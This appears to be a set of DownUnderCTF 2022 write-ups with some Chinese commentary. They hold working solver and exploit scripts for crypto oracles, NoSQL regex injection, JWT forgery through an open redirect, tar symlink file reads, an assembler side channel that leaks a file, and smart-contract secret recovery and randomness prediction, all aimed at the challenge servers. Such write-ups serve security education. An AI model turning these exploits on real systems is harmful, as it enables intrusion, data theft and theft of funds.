key = [BitVec(f"key{i}", 8) for i inrange(64)] sol = Solver() out = baby_arx(key).stream(64) for x, y inzip(out, ct): sol.add(x == y) for x, y inzip(key, b"DUCTF{"): sol.add(x == y) for x in key: sol.add(And(x >= 20, x <= 127)) assert sol.check() == sat m = sol.model() key = [m[k].as_long() for k in key] print(bytes(key)) # DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}
elif choice == 2: queries = input('queries: ') queries = [int(c.strip()) for c in queries.split(',')] queries_used += len(queries) if queries_used > MAX_QUERIES: print('No more queries allowed!') continue
results = [] for c in queries: m = pow(c, d, N) for i, (lower, upper) inenumerate(intervals): in_interval = lower < m < upper if in_interval: results.append(i) break else: results.append(-1)
# context.log_level = 'debug' # io = process(["python", "rsa-interval-oracle-i.py"]) io = remote("2022.ductf.dev", 30008) e = 0x10001 n = int(io.recvline()) c = int(io.recvline())
l = -1 r = 2**336 while l + 1 < r: m = (l + r) // 2 print(l, r) io.sendafter(b"> ", f"1\n{l}\n{m+1}\n".encode()) io.sendafter(b"> ", f"2\n{c}\n".encode()) res = int(io.recvline().split(b": ")[1]) if res == 0: r = m else: l = m for x inrange(l, r + 1): ifpow(x, e, n) == c: io.sendafter(b"> ", b"3\n") io.sendline(str(x).encode()) io.interactive() break # DUCTF{d1d_y0u_us3_b1n4ry_s34rch?}
defManger_Attack(c): f1 = 2 whileTrue: val = (pow(f1, e, n) * c) % n if oracle(val): f1 = 2 * f1 else: break print("first") f12 = f1 // 2 f2 = ((n + B) // B) * f12 whileTrue: val = (pow(f2, e, n) * c) % n if oracle(val): break else: f2 += f12 print("second") m_min = (n + f2 - 1) // f2 m_max = (n + B) // f2 # note the ERRATA from https://github.com/GDSSecurity/mangers-oracle while m_min < m_max: f_tmp = (2 * B) // (m_max - m_min) I = (f_tmp * m_min) // n f3 = (I * n + m_min - 1) // m_min val = (pow(f3, e, n) * c) % n if oracle(val): m_max = (I * n + B) // f3 else: m_min = (I * n + B + f3 - 1) // f3 return m_min
# cand = [random.randint(1, N) for _ in range(4700)] cand = [power_mod(pr, -1, N) for pr in sieve_base[:4700]] io.sendlineafter(b"> ", b"2") io.sendlineafter(b"queries: ", ",".join([str(c*power_mod(a,e,N)%N) for a in cand]).encode()) res = list(map(int, io.recvlineS().strip().split(","))) ar = [] lb = [] ub = [] for a, r inzip(cand, res): if r != -1: ar.append(a) lb.append(intervals[r][0]) ub.append(intervals[r][1]) return io, (ar, lb, ub), (N, e, c)
whileTrue: io, (ar, lb, ub), (N, e, c) = connect() print(len(ar)) iflen(ar) < 45: print("again") io.close() continue iflen(ar) > 60: ar = ar[:60] lb = lb[:60] ub = ub[:60] load("solver.sage") M = matrix(ar).stack(matrix.identity(len(ar)) * N) M = matrix([1] + len(ar) * [0]).T.augment(M) _, _, fin = solve(M, [0] + lb, [B] + ub) secret = fin[0] print(secret) if power_mod(secret, e, N) != c: print("QAQ") io.close() continue io.sendafter(b"> ", b"3\n") io.sendline(str(secret).encode()) print(io.recvlineS()) break # DUCTF{rsa_1nt3rv4l_0r4cl3_1s_n0_m4tch_f0r_y0u!}
n -= len(alpha) - 1 t = alpha[::-1] while n > 0: x = sum([a_ * f_ for a_, f_ inzip(a, t)]) % p t = [x] + t[:-1] n -= 1 return t[0]
K = GF(p) M = matrix(K, a).stack(matrix.identity(len(a)))[:-1]
deff2(n): if n < len(alpha): return alpha[n] # return (M ^ (n - 6) * vector(alpha[::-1]))[0] return (M ^ n * vector(alpha[::-1]))[-1]
assert f(87) == f2(87)
# this works because the max prime factor of p-1 is 68 bits: # od = M.multiplicative_order() # od = 5747840427578934579418402212446804534742054912959507472646427706581721672984212149543182307880849869521914657360442377375504061940654295742621914326868064
# you can use this too: https://math.stackexchange.com/questions/34271/order-of-general-and-special-linear-groups-over-finite-fields od = product([p ^ 7 - p ^ i for i inrange(7)]) n = power_mod(2, 2**1337, od)
from hashlib import sha256 from Crypto.Util.Padding import unpad from Crypto.Cipher import AES
asyncdefcheck_flag(h, rgx): r = await h.post( "/edit", params={"noteId": 1337, "contents[$regex]": rgx}, json={"contents": {"length": 201}}, ) return"You are not the owner of this note!" == r.json()["error"]
asyncdefmain(): asyncwith httpx.AsyncClient( base_url="https://web-noteworthy-873b7c844f49.2022.ductf.dev/", cookies={"jwt": jwt}, http2=True ) as h: flag = "DUCTF{" whilenot flag.endswith("}"): res = await asyncio.gather(*[check_flag(h, flag + c) for c in chs]) for c, r inzip(chs, res): if r: flag += c print(flag) break
直接登入後能知道它使用的是 RS256 JWT,header 中有個 iss
寫著 /api/auth/pub-key,直接對那個 path 請求可以拿到一個
RSA public key。嘗試把 iss 改成第三方 server 之後會出現
error 說需要符合 /api/auth/pub-key 才行。
另外多玩一下它那個網站後可以看到它
/api/auth/logout?redirect=/logout 有個 open
redirect,測試把 iss 改成
/api/auth/pub-key/../logout?redirect=SOME_WHERE_ELSE
也有收到 request 所以代表能讓它使用自己的 public key 去驗證
jwt,也就代表可以任意 forge jwt 了。
post '/'do unless params[:tarfile] && (tempfile = params[:tarfile][:tempfile]) return err "File not sent" end unless tempfile.size <= 10240 return err "File too big" end path = SecureRandom.hex 16 unlessDir.mkdir "uploads/#{path}", 0755 return err "Error creating directory" end unless system "tar -xvf #{tempfile.path} -C uploads/#{path}" return err "Error extracting tar file" end
links = Dir.glob("uploads/#{path}/**/*", File::FNM_DOTMATCH).select do |f| # Don't show . or .. if [".", ".."].include? File.basename f false # Don't show symlinks. Additionally delete them, they may be unsafe elsifFile.symlink? f File.unlink f false # Don't show directories (but show files under them) elsifFile.directory? f false # Show everything else else true end end
return ok links end
get '/uploads/*'do filepath = "uploads/#{::Rack::Utils.clean_path_info params['splat'].first}" halt 404unlessFile.file? filepath send_file filepath end
not_found do status 404 '404' end
error 500do status 500 '500' end
上傳 tar 之後它會用 GNU tar 幫你解壓到一個隨機目錄,然後使用 glob
把所有個 symlink 都刪除,之後你可以讀 tar 中的任意檔案,目標是要讀
/flag。
GNU tar 本身已經有對 tar slip
做保護了所以本身是很難打的,所以目標就是想辦法利用 symlink 到
/flag 讀 flag 而已。
with tarfile.open("./out.tar", "w") as tar: hello = tarfile.TarInfo("hello") hello.type = tarfile.DIRTYPE hello.mode = 0o300# not readable, so glob won't be able to find the symlink tar.addfile(hello)
world = tarfile.TarInfo("world") # to leak folder name world.type = tarfile.REGTYPE world.mode = 0o400 world.size = 5 tar.addfile(world, io.BytesIO(b"world"))
from flask import Flask, request import textwrap import sqlite3 import os import hashlib
assertlen(os.environ['FLAG']) > 32
app = Flask(__name__)
@app.route('/', methods=['POST']) defroot_post(): post = request.form # Sent params? if'username'notin post or'password'notin post: return'Username or password missing from request'
# We are recreating this every request con = sqlite3.connect(':memory:') cur = con.cursor() cur.execute('CREATE TABLE users (username TEXT, password TEXT)') cur.execute( 'INSERT INTO users VALUES ("admin", ?)', [hashlib.md5(os.environ['FLAG'].encode()).hexdigest()] ) output = cur.execute( 'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}' .format(post=post) ).fetchone() # Credentials OK? if output isNone: return'Wrong credentials' # Nothing suspicious? username, password = output if username != post["username"] or password != post["password"]: return'Wrong credentials (are we being hacked?)' # Everything is all good returnf'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)
l = 0 r = 1 << 1024 while l < r: print((l - r).bit_length()) m = (l + r) // 2 if oracle(B // m): r = m else: l = m + 1 print(l) print(r) print(l.to_bytes(128, "big")) # CTF{14288_bits_should_be_enough_for_anybody_:)}
print("Welcome to the Python syntax checking service!") print("The safest code is the code you don't even execute.") print("Enter your code. Write __EOF__ to end.")
code = b"exit(0)\n" for line in sys.stdin.buffer: if line.strip() == b"__EOF__": break code += line
with tempfile.NamedTemporaryFile() as sandbox: sandbox.write(code) sandbox.flush() pipes = subprocess.Popen(["python3", sandbox.name], stdout=subprocess.PIPE, stderr=subprocess.PIPE) _, stderr = pipes.communicate() if pipes.returncode == 0: print("Syntax OK!") else: print("There was an error:") print(stderr.decode())
# based on https://rpis.ec/blog/hxp-26c3-ctf-compilerbot/
payload = r""" __asm__ ( // create a section of N bytes ".pushsection .foo\n" ".rept __GUESS__\n" ".byte 0xFF\n" ".endr\n" ".popsection\n" // create a relocation that tries to modify our section at some offset // based on a single byte of the flag; if it is out of bounds then the // linker will error ".pushsection .rela.foo\n" ".align 1\n" // offset into .foo -- must not overflow ! ".incbin \"config.php\", __OFFSET__, 1\n" ".rept 7\n" ".byte 0\n" ".endr\n" ".quad 0x000000000000000E\n" // type of reloc: R_X86_64_8 ".quad 0x0000000000000001\n" // value to add at that offset ".popsection\n" ); """
# test first code = payload code = code.replace(r'".incbin \"config.php\", __OFFSET__, 1\n"', r'".byte 0x20\n"') code = code.replace("__GUESS__", "128") assert try_compile(code)
# linear search # flag = "" # starti = 1100 # for flag_offset in range(starti, starti + 10): # for guess in range(0x20, 0x7F): # code = payload # code = code.replace("__GUESS__", str(guess)) # code = code.replace("__OFFSET__", str(flag_offset)) # if try_compile(code): # flag += chr(guess - 1) # print(flag) # break # else: # # no guess worked, maybe end of the flag # break
# binary search flag = "" starti = 1100 for flag_offset inrange(starti, starti + 100): l = 0x20 r = 0x7F while l + 1 < r: m = (l + r) // 2 code = payload code = code.replace("__GUESS__", str(m)) code = code.replace("__OFFSET__", str(flag_offset)) if try_compile(code): r = m else: l = m flag += chr(l) print(flag) # DUCTF{pr3pr0c3ssOrPoWer3dPHPpEEk1ngPuzZLe_2b842b}
不過官方解則是透過一些奇怪的
define 然後讓它繞過 php syntax,讓 error message 出現 flag 而已。
另外是賽後在 Discord 有看到一個有趣的 unintended:
1 2 3 4 5 6 7 8 9
%:line 59"/var/www/html/config.php" fo; structxb{ int b; };
f = bytes.fromhex flag = b"" flag += g(g("UkZWRFZFWT0=")) flag += g(g("ZXc9PQ==")) flag += g(g(f("576B64736131677A62485A6B55543039"))) flag += g(g(f("57444E57656C70574F44303D"))) flag += g(g(f("57565935565646575453383D"))) flag += b"_ZGVhZGIzM2ZjYWZl" flag += g(g("ZlE9PQ==")) print(flag) # DUCTF{did_you_use_a_TAS?_ZGVhZGIzM2ZjYWZl}
functionsearch(ar, target, path = []) { let res = null ar.forEach((x, i) => { if (x === target) res = path.concat([i]) if (Array.isArray(x)) { const t = search(x, target, path.concat([i])) if (t) res = t } }) return res } functionexpand(s) { let res = '' for (const x of s) { if (x === '0') res += 0 else res += '1'.repeat(Number(x)) + '0' } return res } key = '' for (let i = 1; i <= 1337; i++) key += expand(search(LOCK, i)) K = awaitsha512(key) dec = [] for (var i = 0; i < 64; i++) dec.push(String.fromCodePoint(C[i] ^ K[i])) console.log(dec.join('')) // DUCTF{s3arch1ng_thr0ugh_an_arr4y_1s_n0t_th4t_h4rd_ab894d8dfea17}
function giveTheFunds() payable public { require(msg.value > 0.1 ether); // Thankyou for your donation cool_wallet_addresses[msg.sender] += msg.value; }
function retrieveTheFunds(string memory secret, uint256 secret_number, address _owner_address) public { bytes32 userHash = keccak256(abi.encodePacked(secret, secret_number, _owner_address));
constWeb3 = require('web3') const web3 = newWeb3('https://blockchain-secretandephemeral-6afda207eb1b22a1-eth.2022.ductf.dev/') const eth = web3.eth const playerAddr = '0xD8dD4B9Ae58E0E314E6F500A760be562B446BFbC' const contactAddr = '0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8' ;(async () => { for (let i = 0; i < 609; i++) { const block = await web3.eth.getBlock(i) if (block.transactions.length > 0) { console.log(i) console.log(block.transactions) for (const txn of block.transactions) { const tx = await web3.eth.getTransaction(txn) console.log(tx) } } } })() // and one of the transactions is // { // blockHash: '0xc4873a1786b507b4375886ec5e782f8fdbcbbc0c95deaf035a9f81422937569e', // blockNumber: 4, // from: '0x7BCF8A237e5d8900445C148FC2b119670807575b', // gas: 391467, // gasPrice: '1000000000', // hash: '0xd3383dd590ea361847180c3616faed3a091c3e8f3296771e0c2844b2746d408f', // input: '0x6301e1338060015560c060405260046080908152636570696360e01b60a05260029061002b908261013c565b5034801561003857600080fd5b506040516106fd3803806106fd833981016040819052610057916101fb565b6003610063838261013c565b506003813360405160200161007a939291906102ca565b60405160208183030381529060405280519060200120600581905550505061035a565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806100c757607f821691505b6020821081036100e757634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111561013757600081815260208120601f850160051c810160208610156101145750805b601f850160051c820191505b8181101561013357828155600101610120565b5050505b505050565b81516001600160401b038111156101555761015561009d565b6101698161016384546100b3565b846100ed565b602080601f83116001811461019e57600084156101865750858301515b600019600386901b1c1916600185901b178555610133565b600085815260208120601f198616915b828110156101cd578886015182559484019460019091019084016101ae565b50858210156101eb5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000806040838503121561020e57600080fd5b82516001600160401b038082111561022557600080fd5b818501915085601f83011261023957600080fd5b81518181111561024b5761024b61009d565b604051601f8201601f19908116603f011681019083821181831017156102735761027361009d565b8160405282815260209350888484870101111561028f57600080fd5b600091505b828210156102b15784820184015181830185015290830190610294565b6000928101840192909252509401519395939450505050565b60008085546102d8816100b3565b600182811680156102f0576001811461030557610334565b60ff1984168752821515830287019450610334565b8960005260208060002060005b8581101561032b5781548a820152908401908201610312565b50505082870194505b50505094815260609390931b6001600160601b0319166020840152505060340192915050565b610394806103696000396000f3fe60806040526004361061004a5760003560e01c80631ac749ff1461004f57806323cfb56f146100775780637c46a9b014610081578063eb087bfb146100ae578063ecd424df146100c4575b600080fd5b34801561005b57600080fd5b5061006560015481565b60405190815260200160405180910390f35b61007f6100e4565b005b34801561008d57600080fd5b5061006561009c3660046101eb565b60046020526000908152604090205481565b3480156100ba57600080fd5b5061006560055481565b3480156100d057600080fd5b5061007f6100df366004610223565b61011e565b67016345785d8a000034116100f857600080fd5b33600090815260046020526040812080543492906101179084906102ee565b9091555050565b600083838360405160200161013593929190610315565b60405160208183030381529060405280519060200120905060055481146101985760405162461bcd60e51b81526020600482015260136024820152720a6dedacae8d0d2dccee640eee4dedcce40745606b1b604482015260640160405180910390fd5b6040514790339082156108fc029083906000818181858888f193505050501580156101c7573d6000803e3d6000fd5b505050505050565b80356001600160a01b03811681146101e657600080fd5b919050565b6000602082840312156101fd57600080fd5b610206826101cf565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561023857600080fd5b833567ffffffffffffffff8082111561025057600080fd5b818601915086601f83011261026457600080fd5b8135818111156102765761027661020d565b604051601f8201601f19908116603f0116810190838211818310171561029e5761029e61020d565b816040528281528960208487010111156102b757600080fd5b826020860160208301376000602084830101528097505050505050602084013591506102e5604085016101cf565b90509250925092565b8082018082111561030f57634e487b7160e01b600052601160045260246000fd5b92915050565b6000845160005b81811015610336576020818801810151858301520161031c565b50919091019283525060601b6bffffffffffffffffffffffff1916602082015260340191905056fea2646970667358221220c558120b35ab560caa833f878d167e3c94af9005d6dea322262181580b0f895864736f6c634300081100330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000dec0ded0000000000000000000000000000000000000000000000000000000000000022736f20616e79776179732069206a757374207374617274656420626c617374696e67000000000000000000000000000000000000000000000000000000000000', // nonce: 1, // to: null, // transactionIndex: 1, // value: '0', // type: 0, // chainId: '0x7a69', // v: '0xf4f6', // r: '0xcf50c8e0ed100baae3b31d69e45e7498caec66478e5ed9d884c3cedec6a14f82', // s: '0x73ebe87f3541c26669adf9ef18e665f47f1a30796f8f4b7162795099807f7e5a' // } // and by comparing input data and another contract deployed on Ropsten network we can see that the data passed into constructor is on chain // the `_not_yours` seems to be `736f20616e79776179732069206a757374207374617274656420626c617374696e67`, which is `so anyways i just started blasting` // and `_secret_number` is `dec0ded`, so it is 233573869 // the owner address is 0x7BCF8A237e5d8900445C148FC2b119670807575b // calls `retrieveTheFunds` with these parameters to solve the challenge // DUCTF{u_r_a_web3_t1me_7raveler_:)}
function _randomNumber() internal view returns(uint8) { uint256 ab = uint256(blockhash(block.number - 1)); uint256 a = ab & 0xffffffff; uint256 b = (ab >> 32) & 0xffffffff; uint256 x = uint256(blockhash(block.number)); return uint8((a * x + b) % 6); }
function play(uint256 bet) external { require(balances[msg.sender] >= bet, "Insufficient balance!"); require(block.number > lastPlayed, "Too fast!"); lastPlayed = block.number;
for (let i = 0; i < 32; i++) { console.log('='.repeat(40)) console.log('Round', i) console.log('='.repeat(40)) // use approve (or any other transcation?) the make the block number change // because I am the only user of that network const approve = ducoin.methods.approve(casinoAddr, 7) await approve .send({ from: acc.address, gas: await approve.estimateGas({ from: acc.address }) }) .on('receipt', receipt => { console.log('approve success') }) .on('error', (error, receipt) => { console.log('approve error') })
// https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 // blockhash(block.number - 1) is the hash of the previous block (the latest block before transaction) // blockhash(block.number) is always zero because it hasn't been computed const last = await web3.eth.getBlockNumber() console.log('last block num', last) const blk = await web3.eth.getBlock(last) const ab = BigInt(blk.hash) console.log('ab', ab) const roll = ((ab >> 32n) & 0xffffffffn) % 6n console.log('roll', roll) const bal = await casino.methods.balances(acc.address).call({ from: acc.address }) console.log('bal', bal) const call = casino.methods.play(bal) const gas = await call.estimateGas({ from: acc.address }) if (roll === 0n) { await call .send({ from: acc.address, gas }) .on('receipt', receipt => { console.log('play success') }) .on('error', (error, receipt) => { console.log('play error') }) console.log('new bal', await casino.methods.balances(acc.address).call({ from: acc.address })) } } })() // DUCTF{sh0uldv3_us3d_a_vrf??}